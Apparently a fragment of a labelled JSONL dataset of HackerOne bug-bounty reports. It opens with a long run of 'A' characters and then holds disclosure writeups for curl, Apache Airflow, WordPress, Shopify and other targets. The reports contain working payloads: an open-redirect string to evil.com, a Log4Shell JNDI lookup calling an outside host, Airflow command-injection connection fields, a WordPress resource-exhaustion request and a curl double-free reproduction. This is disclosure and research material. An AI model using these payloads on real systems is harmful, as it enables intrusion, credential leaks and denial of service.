AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", "source": "hackerone", "timestamp": "2022-07-13", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "64ce0f2a8dc811bd3767", "text": "[Open Redirect] [https://█████████/]&&[https://█████████/] Open Redirection\n\n***Summary***\n\nHi Team,\n\nAn attacker can redirect vicitm on an external website using ``https://████/account/login``  endpoint because ``next`` parameter is not being validated properly.\n\n***Affected URL***\n\n`https://███/account/login/?next=///////////////////////////evil.com`\n\n***Steps to Reproduce***\n\n1) Go https://████/account/login/?next=%2Fapp%2F .\n2) Add this payload `////////////////////////////evil.com` to the `?next=` parameter .\n3) Registeran account in the normal way .\n4) You will be redirected to evil.com website .\n\n***POC***\n{F467696}\n\n***References***\n\n* https://hackerone.com/reports/347645\n* https://hackerone.com/reports/125003\n* https://hackerone.com/reports/411723\n\n## Impact\n\n* Open redirects allow a malicious attacker to redirect people unknowingly to a malicious\nwebsite .\n* Simplifies phishing attacks .", "source": "hackerone", "timestamp": "2022-03-22", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "d2e035b308e1cdbec441", "text": "[Business Logic Errors] CVE-2022-27782: TLS and SSH connection too eager reuse\n\n## Summary:\nCurl fails to consider some security related options when reusing TLS connections. For example:\n\n# TLS\nCURLOPT_SSL_OPTIONS\nCURLOPT_PROXY_SSL_OPTIONS\nCURLOPT_CRLFILE\nCURLOPT_PROXY_CRLFILE\nCURLOPT_TLSAUTH_TYPE\nCURLOPT_TLSAUTH_USERNAME\nCURLOPT_TLSAUTH_PASSWORD\nCURLOPT_PROXY_TLSAUTH_TYPE\nCURLOPT_PROXY_TLSAUTH_USERNAME\nCURLOPT_PROXY_TLSAUTH_PASSWORD\n\nAs a result for example TLS connection with  lower security (`CURLSSLOPT_ALLOW_BEAST`,` CURLSSLOPT_NO_REVOKE`) connection reused when it should no longer be. Also connection that has been authenticated perviously with `CURLSSLOPT_AUTO_CLIENT_CERT` might be reused for connections that should not be.\n\n# SSH\nCURLOPT_SSH_PUBLIC_KEYFILE\nCURLOPT_SSH_PRIVATE_KEYFILE\n\nIf the attacker knows the vulnerable application used SSH key authentication towards specific host with certain username and protocol they can then perform actions to the same host afterwards and abuse the connection reuse.\n\n## Impact\n\n- Wrong identity (client certificate) or TLS security options being used for subsequent connections to the same hosts.\n- Previously authenticated SSH sessions (SCP/SFTP) reuse.", "source": "hackerone", "timestamp": "2022-05-12", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "3849225a349cc266da4d", "text": "[Unknown] Information disclosure ( Google Sales Channel )\n\nIn the review on apps.shopify.com the Google sales channel has a review of 5407 but the actual number of shopify stores that use the Google channel I believe is more than that number so I think this vulnerability can have an impact on many shopify stores and here I found a vulnerability where attackers can exploit every shopify store that has a Google Sales channel even though the store is in Password protection\n\n1. Install google channel at your-store.myshopify.com\n2. Enable password protection at your-store.myshopify.com\n3. Add new product in shopify store\n4. Now go to this link : google-shopping.shopifycloud.com/shopify/products?shop=your-store.myshopify.com&id=PRODUCT ID&locale=en\nChange PRODUCT ID with your shopify product id\n5. Now in the response you will see information disclosure in the form of data-channel-id and data-user-email\n\n```\ndata-channel-id=\"70715703461\"\ndata-user-email=\"VICTIMEMAIL@gmail.com\"\n```\n\nEven though the shopify store which is in a password protected state is very private, but in this vulnerability the attacker can still find out sensitive information from the shopify store which is in a password protected state.\nStores that do not have a password protected are easier to exploit because attackers can get the product id of the victim's store\n\n## Impact\n\nVulnerabilities that allow attackers to get sensitive information from victim stores", "source": "hackerone", "timestamp": "2022-07-17", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "a86a2e49ae9baba7cedc", "text": "[Command Injection - Generic] LOGJ4 VUlnerability [HtUS]\n\n**Description:**\nHi team,\n\nlog4 shell is recent 0-day exploit it's Java package vulnerable. █████ is vulnerable\n\n**Impact**\n\nRCE\n\n**System Host(s)**\n\n██████\n\n**Affected Product(s) and Version(s)**\n\n**CVE Numbers**\n\nCVE-2021-44228\n\n**Steps to Reproduce**\n\n1. Go to this url => https://████��/?x=${jndi:ldap://${hostName}.uri.xxxxx.burpcollaborator.net/a}\n2. paste the poc code on parameter\n3. Then burp collaborator received reverse ping back\nPhotos below\n\n**POC CODE**\n${jndi:ldap://${hostName}.uri.xxxxx.burpcollaborator.net/a}\n\n**Suggested Mitigation/Remediation Actions**\nhttps://www.lunasec.io/docs/blog/log4j-zero-day/\n\n## Impact\n\nSuccessful attack leads Arbitary Code Execution on the application", "source": "hackerone", "timestamp": "2022-11-18", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "821e82c35aa6a669bfd4", "text": "[Double Free] CVE-2023-27537: HSTS double-free\n\n## Summary:\nWhen processing HSTS with multi-threading, double-free or UAF may occur due to lack of exclusion control.\nHSTS entries disappear when they expire or when \"max-age=0\" is received.\nIn this case, the offending entry is removed from the internal memory list, freeing memory but not exclusivity control.\nTherefore, depending on the timing, other threads may perform the operation, resulting in double-free or UAF.\n\n`lib/hsts.c` in the function `Curl_hsts_parse` on lines 213-221\n```\n  if(!expires) {\n    /* remove the entry if present verbatim (without subdomain match) */\n    sts = Curl_hsts(h, hostname, FALSE);\n    if(sts) {\n      Curl_llist_remove(&h->list, &sts->node, NULL);\n      hsts_free(sts);\n    }\n    return CURLE_OK;\n  }\n```\n\nIf multiple threads process `hsts_free(sts);` at the same time, it becomes double-free.\nAnother problem is that UAF occurs when other threads access entries.\n\nLines 270-275 have a similar problem.\n\n## Steps To Reproduce:\n\n  1. [Prepare the following php.]\n```\n<?php\n$random = rand(0, 1);\nif($random == 0){\n        header(\"strict-transport-security: max-age=9999\");\n}else{\n        header(\"strict-transport-security: max-age=0\");\n}\n```\n  2. [Compile and run the following cpp.]\n```\n#include <stdio.h>\n#define HAVE_STRUCT_TIMESPEC // [Add] \n#include <pthread.h>\n#include <curl/curl.h>\n\n#define NUMT 100\n\nconst char* const url = \"https://test.local/poc.php\";\n\npthread_mutex_t lock[9];\n\nstatic void lock_cb(CURL* handle, curl_lock_data data,\n    curl_lock_access access, void* userptr)\n{\n    pthread_mutex_lock(&lock[data]); /* uses a global lock array */\n}\n\nstatic void unlock_cb(CURL* handle, curl_lock_data data,\n    void* userptr)\n{\n    pthread_mutex_unlock(&lock[data]); /* uses a global lock array */\n}\n\nstatic void* pull_one_url(void* shobject)\n{\n    CURL* curl;\n\n    for (int i = 0; i < 100; i++) {\n        curl = curl_easy_init();\n        curl_easy_setopt(curl, CURLOPT_URL, url);\n        curl_easy_setopt(curl, CURLOPT_HSTS, \"c:\\\\home\\\\hsts.txt\");\n        curl_easy_setopt(curl, CURLOPT_SHARE, shobject);\n        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);\n        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);\n        curl_easy_perform(curl); /* ignores error */\n        curl_easy_cleanup(curl);\n    }\n\n    return NULL;\n}\n\nint main(int argc, char** argv)\n{\n    pthread_t tid[NUMT] = {0};\n    int i;\n\n    for(i = 0;i<=9;i++)\n        pthread_mutex_init(&lock[i], NULL);\n    \n    /* Must initialize libcurl before any threads are started */\n    curl_global_init(CURL_GLOBAL_ALL);\n    CURLSH* shobject = curl_share_init();\n    curl_share_setopt(shobject, CURLSHOPT_SHARE, CURL_LOCK_DATA_HSTS);\n    curl_share_setopt(shobject, CURLSHOPT_LOCKFUNC, lock_cb);\n    curl_share_setopt(shobject, CURLSHOPT_UNLOCKFUNC, unlock_cb);\n    for (i = 0; i < NUMT; i++) {\n        int error = pthread_create(&tid[i],\n            NULL, /* default attributes please */\n            pull_one_url,\n            (void*)shobject);\n        if (0 != error)\n            fprintf(stderr, \"Couldn't run thread number %d, errno %d\\n\", i, error);\n        else\n            fprintf(stderr, \"Thread %d, gets %s\\n\", i, url);\n    }\n\n    /* now wait for all threads to terminate */\n    for (i = 0; i < NUMT; i++) {\n        pthread_join(tid[i], NULL);\n        fprintf(stderr, \"Thread %d terminated\\n\", i);\n    }\n    curl_share_cleanup(shobject);\n    curl_global_cleanup();\n    return 0;\n}\n\n```\nThe source was referred to under docs/examples.\n\nSupplement.\nURL is https://test.local/poc.php.\nphp that randomly memorizes and deletes HSTS entries.\nIt's hard to reproduce if it's random, but I've confirmed that the problem will occur.\nI attach an image of when the UAF happened(I tried in debug build).\nThe number of threads and the number of loops are increased in order to raise the possibility that the phenomenon will occur.\n{F2216003}\n\n## Impact\n\nDouble-free", "source": "hackerone", "timestamp": "2023-03-20", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "465c6f9cb415a85b3910", "text": "[Incorrect Authorization] Incorrect Authorization Checks in /include/findusers.php\n\n## Summary:\nThe vulnerability is located in the `/include/findusers.php` script:\n\n```\n16.\tinclude \"../mainfile.php\";\n17.\txoops_header(false);\n18.\t\n19.\t$denied = true;\n20.\tif (!empty($_REQUEST['token'])) {\n21.\t\tif (icms::$security->validateToken($_REQUEST['token'], false)) {\n22.\t\t\t$denied = false;\n23.\t\t}\n24.\t} elseif (is_object(icms::$user) && icms::$user->isAdmin()) {\n25.\t\t$denied = false;\n26.\t}\n27.\tif ($denied) {\n28.\t\ticms_core_Message::error(_NOPERM);\n29.\t\texit();\n30.\t}\n```\n\nAs far as I can see, I believe this script should be accessible by admin users only (due to line 24). However, because of the if statements at lines 20-23, this script could be accessed by unauthenticated attackers if they will provide a valid security token. Such a token will be generated in several places within the application (just search for the string `icms::$security->getTokenHTML()`), and some of them do not require the user to be authenticated, like in `misc.php` at [line 181](https://github.com/ImpressCMS/impresscms/blob/48af29c6b8150fbf4220bb5cc4f3c57bcd818384/misc.php#L181).\n\n\n\n## ImpressCMS branch :\nThe vulnerability has been tested and confirmed on ImpressCMS version 1.4.2 (the latest at the time of writing).\n\n## Steps To Reproduce:\n  1. Try to access the `/include/findusers.php` script without being logged into the application\n  1. You will see an error message saying **\"Sorry, you don't have permission to access this area.\"**\n  1. Go to `/misc.php?action=showpopups&type=friend` and look at the HTML source code, search the string `XOOPS_TOKEN_REQUEST` and copy the value of the token\n  1. Go to `/include/findusers.php?token=[TOKEN_VALUE]` and you will be able to access the script and e.g. search through the registered users\n\n## Impact\n\nThis vulnerability might allow unauthenticated attackers to access an otherwise restricted functionality of the application, which in turn might allow an information disclosure about the CMS users (specifically, only the username and real name will be disclosed).", "source": "hackerone", "timestamp": "2022-03-22", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "c29c0891b92cd94fa42d", "text": "[Improper Restriction of Authentication Attempts] Uninstalling Mattermost Launcher for Windows (64-bit), then reinstalling keeps you logged in without authentication\n\nHello Team,\n\nHope you are doing great and enjoying a lot. \nThis issue affected me directly and I was very amazed by it, so I felt it was important to report it in case it was not known. It is resulting unintended behavior:\n\nIn addition to this report is very similar to both of already been Resolved hackerone reports\nhttps://hackerone.com/reports/238260\nhttps://hackerone.com/reports/1278261\n\nSteps to reproduce:\n1) Install The Mattermost Desktop App for Windows (64-bit).\n2) Enter the Display name with Server URL\n3) Login to Mattermost Desktop App\n4) Uninstall Mattermost Desktop App\n5) Reinstall Mattermost Desktop App\n\nConclusion: You will automatically be logged back in to your account, even though you uninstalled Mattermost Desktop App from your computer and did not enter a username/password to login to the fresh Mattermost Desktop App installation.\n\nThanks and have a good day ;)\nRegards\n@annonmous\n\n## Impact\n\nThe Mattermost Desktop App uninstall process is fully automatic, there is no prompt or indication that there is data left behind. I believe it is reasonable to expect that when uninstalling Mattermost Desktop App users session data should have been removed. If I am a user on a shared user account (for example, if I borrowed a computer and I installed Mattermost Desktop App, but uninstalled it later), they can take full control of my account after the fact.\n\nWhen testing this, I could access all of my messages and data, and even access the Mattermost Desktop App admin panel for my team that I am an administrator of.", "source": "hackerone", "timestamp": "2023-01-14", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "61a07748bcc28f4ea974", "text": "[Improper Input Validation] CVE-2023-25692: Apache Airflow Google Provider: Google Cloud Sql Provider Denial Of Service and Remote Command Execution\n\n## 0x01 Environment\n\n- airflow 2.5.1\n- apache-airflow-providers-google 8.8.0\n- Build with docker compose\n\n##  0x02 Reproduction Steps\n### 2.1 Create a malicious Google Cloud SQL Database connection\nCreate the following Google Cloud SQL Database connection named **aaa** under the Admin->Connections menu.Among them, Host, Schema, Login, and Port are required, just fill in the content that conforms to the format.\n\n{F2213508}\nThe actual content filled in **Extra** field is as follows. Note that **sql_proxy_version** must be similar to `?a=`, and the value of **sql_proxy_binary_path** is set to the command to be executed. Fill in 'whoami' here.\n```python\n{\n  \"project_id\":\"pivotal-gearing-375804\",\n  \"instance\":\"hellopg\",\n  \"location\":\"us-central1-b\",\n  \"database_type\":\"postgres\",\n  \"use_proxy\":\"True\",\n  \"use_ssl\":\"False\",\n  \"sql_proxy_use_tcp\":\"True\",\n  \"sql_proxy_version\":\"?a=\",\n  \"sql_proxy_binary_path\":\"whoami\",\n  \"sslcert\":\"\",\n  \"sslkey\":\"\",\n  \"sslrootcert\":\"\"\n}\n```\n\n### 2.2 Use the CloudSQLExecuteQueryOperator operator in the DAG for verification\nCreate a google_test.py script that uses the CloudSQLExecuteQueryOperator operator, and put it in the `/opt/airflow/dags` directory in the background so that it can be automatically loaded by airflow. The content is as follows, where **gcp_cloudsql_conn_id** is set to the connection name we established above **aaa**\n\n```python\nfrom __future__ import annotations\n\nimport os\nimport subprocess\nfrom datetime import datetime\nfrom os.path import expanduser\nfrom urllib.parse import quote_plus\n\nfrom airflow import models\nfrom airflow.providers.google.cloud.operators.cloud_sql import CloudSQLExecuteQueryOperator\n\n\nSQL = [\n    \"CREATE TABLE IF NOT EXISTS TABLE_TEST (I INTEGER)\",\n    \"CREATE TABLE IF NOT EXISTS TABLE_TEST (I INTEGER)\",  # shows warnings logged\n    \"INSERT INTO TABLE_TEST VALUES (0)\",\n    \"CREATE TABLE IF NOT EXISTS TABLE_TEST2 (I INTEGER)\",\n    \"DROP TABLE TABLE_TEST\",\n    \"DROP TABLE TABLE_TEST2\",\n]\n\n\npostgres_kwargs = dict(\n    user=\"postgres\",\n    password=r\"ktd2(%EzQ5\",\n    public_port=\"5432\",\n    public_ip=\"34.122.52.6\",\n    project_id=\"pivotal-gearing-375804\",\n    location=\"us-central1-b\",\n    instance=\"hellopg\",\n    database=\"postgres\",\n    client_cert_file=\"key/postgres-client-cert.pem\",\n    client_key_file=\".key/postgres-client-key.pem\",\n    server_ca_file=\".key/postgres-server-ca.pem\",\n)\n\n\n# Postgres: connect via proxy over TCP\nos.environ[\"AIRFLOW_CONN_PROXY_POSTGRES_TCP\"] = (\n    \"gcpcloudsql://{user}:{password}@{public_ip}:{public_port}/{database}?\"\n    \"database_type=postgres&\"\n    \"project_id={project_id}&\"\n    \"location={location}&\"\n    \"instance={instance}&\"\n    \"use_proxy=True&\"\n    \"sql_proxy_use_tcp=True\".format(**postgres_kwargs)\n)\n\nconnection_names = [\n    \"proxy_postgres_tcp\",\n]\n\nwith models.DAG(\n    dag_id=\"example_gcp_sql_query\",\n    start_date=datetime(2021, 1, 1),\n    catchup=False,\n    tags=[\"example\"],\n) as dag:\n    prev_task = None\n\n\n    task = CloudSQLExecuteQueryOperator(\n        gcp_cloudsql_conn_id=\"aaa\",gcp_conn_id=\"proxy_postgres_tcp\",task_id=\"example_gcp_sql_task_proxy_postgres_tcp\" , sql=SQL\n    )\n\n# [END howto_operator_cloudsql_query_operators]\n```\nEnable the** example_gcp_sql_query** DAG corresponding to our **google_test.py** script in the UI management interface, and run.\nClick to view the running graph and logs through the Graph menu.\n{F2213514}\nIt can be seen from the log that the victim machine executed the malicious parameter 'whoami' we constructed.\n{F2213518}\n### 2.3 Other methods for remote command execution through directory traversal\n#### 2.3.1 Construct Malicious DAG\nPlace our malicious dag via Google Cloud Starage at [https://storage.googleapis.com/swordlight/load_my_evil_dag.py](https://storage.googleapis.com/swordlight/load_my_evil_dag.py) .The content is as follows:\n```python\nfrom __future__ import annotations\n\nimport pendulum\n\nfrom airflow import DAG\nfrom airflow.decorator", "source": "hackerone", "timestamp": "2023-04-16", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "ae4e9b1ca95d310e4f32", "text": "[Insufficiently Protected Credentials] Credential leak on redirect\n\n## Summary:\n[add summary of the vulnerability]\n\nCurl can be coaxed to leak user credentials to third-party host by issuing HTTP redirect , like the Proxy-Authorization 、x-auth-token header. It is a bypass of fix https://hackerone.com/reports/1547048 , CVE-2022-27776 .\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n  1. Create a 302.php file, such as:\n```\n<?php\nheader(\"Location: http://a.com:8000\");\n?>\n```\nAdd the 2 record in the /etc/hosts file:  \n```\n127.0.0.1 a.com\n127.0.0.1 b.com\n```\n  2. curl -H \"Proxy-Authorization: secrettoken\" http://b.com/302.php -vv -L \nThe redirect will be followed, and the confidential headers sent over insecure HTTP to the specified port:\n```\n# curl -H \"Proxy-Authorization: secrettoken\" http://b.com/302.php -vv -L\n*   Trying 127.0.0.1:80...\n* Connected to b.com (127.0.0.1) port 80 (#0)\n> GET /302.php HTTP/1.1\n> Host: b.com\n> User-Agent: curl/7.83.1\n> Accept: */*\n> Proxy-Authorization: secrettoken\n>\n* Mark bundle as not supporting multiuse\n< HTTP/1.1 302 Found\n< Date: Fri, 13 May 2022 11:22:06 GMT\n< Server: Apache/2.4.6 (CentOS) PHP/5.4.16\n< X-Powered-By: PHP/5.4.16\n< Location: http://a.com:8000\n< Content-Length: 0\n< Content-Type: text/html; charset=UTF-8\n<\n* Connection #0 to host b.com left intact\n* Clear auth, redirects to port from 80 to 8000\n* Issue another request to this URL: 'http://a.com:8000/'\n*   Trying 127.0.0.1:8000...\n* Connected to a.com (127.0.0.1) port 8000 (#1)\n> GET / HTTP/1.1\n> Host: a.com:8000\n> User-Agent: curl/7.83.1\n> Accept: */*\n> Proxy-Authorization: secrettoken\n>\n```\n  3.  curl -H \"x-auth-token: secrettoken\" http://b.com/302.php -vv -L \n```\n# curl -H \"x-auth-token: secrettoken\" http://b.com/302.php -vv -L\n*   Trying 127.0.0.1:80...\n* Connected to b.com (127.0.0.1) port 80 (#0)\n> GET /302.php HTTP/1.1\n> Host: b.com\n> User-Agent: curl/7.83.1\n> Accept: */*\n> x-auth-token: secrettoken\n>\n* Mark bundle as not supporting multiuse\n< HTTP/1.1 302 Found\n< Date: Fri, 13 May 2022 11:24:15 GMT\n< Server: Apache/2.4.6 (CentOS) PHP/5.4.16\n< X-Powered-By: PHP/5.4.16\n< Location: http://a.com:8000\n< Content-Length: 0\n< Content-Type: text/html; charset=UTF-8\n<\n* Connection #0 to host b.com left intact\n* Clear auth, redirects to port from 80 to 8000\n* Issue another request to this URL: 'http://a.com:8000/'\n*   Trying 127.0.0.1:8000...\n* Connected to a.com (127.0.0.1) port 8000 (#1)\n> GET / HTTP/1.1\n> Host: a.com:8000\n> User-Agent: curl/7.83.1\n> Accept: */*\n> x-auth-token: secrettoken\n```\n\nThe reason for the problem is that curl's filtering of authentication header header is incomplete. The Proxy-Authorization and x-auth-token headers are not considered, only restrict the delivery of Cookies and Authorization.\n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n  * [attachment / reference]\nhttps://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Proxy-Authorization\n\n## Impact\n\nLeak of Proxy-Authorization and x-auth-token headers.", "source": "hackerone", "timestamp": "2022-05-14", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "99b2c767c7238e6271d6", "text": "[Unknown] CVE-2023-42663: Apache Airflow: Bypass permission verification to view task instances of other dags\n\nApache Airflow, versions before 2.7.2, has a vulnerability that allows an authorized user who has access to read specific DAGs only, to read information about task instances in other DAGs.\n\n#Steps to reproduce :\n1. Copy a User role, name it roleA, and remove the \"can read on DAGs\" \"can delete on DAGs\" \"can edit on DAGs\" permissions.Add \"can read on DAG:tutorial\" permissions\n{F2771458}\n\n2. Create a user named test and assign RoleA to it.\n{F2771447}\n\n3. Log in to the test account, we can only see the DAG named tutorial.Can't see task instances from other DAGs either.\n{F2771449}\n{F2771451}\n\n4. Use burpsuite to send the following message, and you can see the task instances of other DAGs. (replaced with the session of the test account)\n```\nPOST /api/v1/dags/~/dagRuns/~/taskInstances/list HTTP/1.1\nHost: testvul.com:8080\nAccept: application/json\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\ncontent-type: application/json\nReferer: http://testvul.com:8080/dags/example_external_task_marker_parent/grid\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8\nCookie: session=3d17f3fe-e02b-4f16-88f1-fd59e299ae0c.a4kyHK7of13T0NtbCVVmPgFtSDU\nConnection: close\nContent-Length: 2\n\n{}\n```\n\n{F2771461}\n\n\n**Security Advisory**: https://lists.apache.org/thread/xj86cvfkxgd0cyqfmz6mh1bsfc61c6o9\n**Severity**: Low\n**Credit**: balis0ng\n\n## Impact\n\nIt allows an authorized user who has access to read specific DAGs only, to read information about task instances in other DAGs.", "source": "hackerone", "timestamp": "2023-11-13", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "dda1074e689253bdb7c1", "text": "[Uncontrolled Resource Consumption] CVE-2018-6389 exploitation - using scripts loader\n\nHi Fastly Team !\n\nUnauthenticated attackers can cause a denial of service (resource consumption) by using the large list of registered .js files (from wp-includes/script-loader.php) to construct a series of requests to load every file many times.\nThe vulnerability is registered as CVE-2018-6389.\nWordPress allows users to load multiple JS files and CSS files through load-scripts.php files at once. However, the number and size of files are not restricted in the process of loading JS files, attackers can use this function to deplete server resources and launch denial of service attacks.\n\n**References**\n\nThe vulnerability is registered as https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389 \nhttps://hackerone.com/reports/925425\nhttps://hackerone.com/reports/335177\nhttps://hackerone.com/reports/753491\n\n**Platform(s) Affected: [website]** \n```http\nwww.signalsciences.com/wp-admin/load-scripts.php?load=\n```\n**Steps To Reproduce:**\n\nOpen Vulnerability url - open directory /wp-admin/load-scripts.php?load=\nAdd parameter-vulnerable in request header\nIn request header using GET-Method\n\n**Payloads Vulnerabilities**\n```\neutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter\n```\n{F2237583}\n\n## Impact\n\nAttackers can use this vulnerable function to deplete server resources and launch denial of service attacks.", "source": "hackerone", "timestamp": "2023-04-20", "split": "val", "label_source": "within_source_cve_index", "label": 1}
